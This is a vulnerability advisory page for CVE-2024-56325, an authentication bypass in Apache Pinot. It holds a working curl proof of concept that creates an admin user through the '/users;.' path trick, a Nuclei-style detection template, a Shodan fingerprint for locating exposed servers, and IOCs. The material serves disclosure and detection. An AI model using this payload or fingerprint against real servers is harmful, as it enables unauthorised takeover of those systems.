CVE-2024-56325

published 2025-04-01

CVE-2024-56325: Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X…

Priority P1 85 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
apache	pinot	< 1.3.0	1.3.0
apache_software_foundation	apache_pinot	< 1.3	1.3

Detection & IOCs extracted from sources · hover to see the quote

url /users;.↗

other http.favicon.hash:1696974531↗

other Pinot-Controller-↗

command curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .↗

port 9000↗

sigma↗

id: CVE-2024-56325
info:
  name: Apache Pinot < 1.3.0 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
http:
- raw:
  - |
    GET /users;. HTTP/1.1
    Host: {{Hostname}}
  matchers-condition: and
  matchers:
  - type: word
    part: body
    words:
    - '{"users"'
  - type: status
    status:
    - 200
  - type: word
    part: header
    words:
    - 'Pinot-Controller-'

• → Authentication bypass is triggered when the URI path does not contain '/' but contains '.', e.g. appending ';.' to a path like '/users;.' bypasses the AuthenticationFilter check. ↗
• → Detect unauthenticated HTTP 200 responses to requests for '/users;.' on Apache Pinot (default port 9000) with response body containing '{"users"' and response header containing 'Pinot-Controller-'. ↗
• → The vulnerable class is AuthenticationFilter; the flaw is insufficient neutralization of special characters (semicolon and dot) in a URI. ↗
• → Use Shodan query 'http.favicon.hash:1696974531' to identify exposed Apache Pinot instances for proactive scanning. ↗
• → A successful exploit results in a new admin user being created; monitor for unexpected POST requests to '/users' endpoints on port 9000 that return HTTP 200 with a JSON users object. ↗

• · The bypass only works when the URI path segment does not contain '/' AND contains '.'; paths with a '/' are not affected by this bypass logic. ↗
• · Affected versions are Apache Pinot < 1.3.0; instances already on 1.3.0 or later are not vulnerable. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-288